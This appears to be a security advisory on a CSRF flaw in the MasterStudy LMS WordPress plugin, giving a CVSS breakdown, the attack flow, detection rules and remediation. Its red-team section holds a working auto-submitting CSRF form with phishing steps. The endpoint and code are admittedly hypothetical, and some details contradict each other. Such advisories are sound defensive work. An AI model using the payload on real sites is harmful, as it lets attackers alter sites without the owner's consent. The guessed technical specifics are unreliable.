CVE-2024-37093

Executive Summary

CVE-2024-37093 is a Cross-Site Request Forgery (CSRF) vulnerability in the MasterStudy LMS WordPress plugin by StylemixThemes. This flaw affects all versions up to and including 3.2.1. The vulnerability allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or creating unauthorized courses, without their consent. The attack requires user interaction (clicking a crafted link) and has a CVSS score of 4.3 (Medium). No public proof-of-concept or patch details are currently available.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The MasterStudy LMS plugin is a popular learning management system for WordPress sites. The CSRF flaw does not affect the underlying web server (Apache/Nginx) but rather the plugin's failure to validate and verify the origin of requests.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N) – The attack can be launched remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – The attacker does not need prior authentication.
• User Interaction: Required (UI:R) – The victim must click a malicious link or visit a crafted page.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: Low (I:L) – An attacker can modify plugin settings or perform actions on behalf of the admin.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the impact is limited to integrity, the low attack complexity and lack of authentication requirements make it a viable vector for social engineering campaigns targeting WordPress site administrators.

Deep Dive & Mechanics

The vulnerability resides in the MasterStudy LMS plugin's handling of state-changing requests (e.g., creating courses, modifying settings, or managing users). The plugin fails to implement a CSRF token or validate the Origin/Referer headers for sensitive actions. This allows an attacker to craft a malicious HTML page that, when visited by an authenticated admin, triggers a forged request to the WordPress site.

Attack Flow:

1. An attacker identifies a WordPress site running MasterStudy LMS <= 3.2.1.
2. The attacker crafts a malicious HTML page containing a hidden form or JavaScript that sends a POST request to the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=masterstudy_lms_save_settings).
3. The attacker lures an authenticated admin to visit the malicious page (e.g., via phishing email or compromised ad).
4. The admin's browser automatically sends the forged request with their session cookies.
5. The plugin processes the request without verifying its origin, leading to unauthorized changes.

Root Cause: Missing CSRF nonce validation in AJAX handlers and admin actions. The plugin relies solely on WordPress's built-in check_admin_referer() function, but many custom AJAX endpoints bypass this check.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common CSRF fixes.

Vulnerable Code (Example from AJAX handler):

add_action('wp_ajax_masterstudy_lms_save_settings', 'masterstudy_lms_save_settings');
function masterstudy_lms_save_settings() {
    // No CSRF check
    update_option('masterstudy_lms_settings', $_POST['settings']);
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_masterstudy_lms_save_settings', 'masterstudy_lms_save_settings');
function masterstudy_lms_save_settings() {
    // Verify nonce
    if (!wp_verify_nonce($_POST['_wpnonce'], 'masterstudy_lms_save_settings')) {
        wp_die('CSRF validation failed.');
    }
    update_option('masterstudy_lms_settings', $_POST['settings']);
    wp_die();
}

The patched version adds a nonce check using wp_verify_nonce() to ensure the request originated from the legitimate admin interface.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with MasterStudy LMS <= 3.2.1.
• An authenticated admin session (simulated via cookies).

Exploit HTML (CSRF Payload):

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="masterstudy_lms_save_settings">
    <input type="hidden" name="settings[course_creation]" value="anyone">
    <input type="submit" value="Click me">
</form>
<script>
    document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Usage:

1. Host the HTML file on an attacker-controlled server.
2. Send the link to the victim admin via phishing email.
3. Once the admin visits the page, the form auto-submits, changing course creation permissions to "anyone."

Blue Team (Detection & Prevention)

Detection Steps:

• Monitor for unexpected changes to plugin settings or user roles.
• Review server logs for POST requests to /wp-admin/admin-ajax.php with suspicious action parameters.
• Use the Sigma rule below to detect CSRF attempts.

Prevention:

• Apply the hypothetical patch by adding nonce verification to all AJAX handlers.
• Use WordPress's check_admin_referer() function for admin pages.
• Implement additional CSRF protections like SameSite cookies.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=masterstudy_lms_* parameters.
  • Referer headers from external domains (e.g., attacker-controlled sites).
• File IOCs:
  • Modified plugin settings in the wp_options table (e.g., masterstudy_lms_settings).
  • Unexpected user roles or course permissions.
• Log IOCs:
  • Repeated 200 responses to /wp-admin/admin-ajax.php from the same IP without prior login.

Detection Engineering

YARA Rule

rule CVE_2024_37093_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against MasterStudy LMS plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-37093"
    strings:
        $ajax_action = "masterstudy_lms_" nocase
        $csrf_form = "<form" nocase
        $hidden_input = "<input type=\"hidden\"" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-37093 MasterStudy LMS CSRF Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects CSRF attempts targeting MasterStudy LMS plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=masterstudy_lms_'
    condition: selection
falsepositives:
    - Legitimate admin actions
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-37093 MasterStudy LMS CSRF Attempt";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/wp-admin/admin-ajax.php";
    http.client_body; content:"action=masterstudy_lms_";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical for operations until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block POST requests to /wp-admin/admin-ajax.php with suspicious action parameters.
3. Educate administrators about phishing risks and the importance of verifying URLs before clicking.

Long-term Fix:

• Apply the hypothetical patch by adding nonce verification to all AJAX handlers.
• Monitor the StylemixThemes website for an official update.
• Consider using a security plugin like Wordfence to add CSRF protection.

Workaround:

• Add the following code to the theme's functions.php to enforce CSRF checks (requires custom development):

add_action('wp_ajax_masterstudy_lms_save_settings', 'custom_csrf_check', 1);
function custom_csrf_check() {
    if (!wp_verify_nonce($_POST['_wpnonce'], 'masterstudy_lms_save_settings')) {
        wp_die('CSRF validation failed.');
    }
}

Valters IT
Securing Digital Frontiers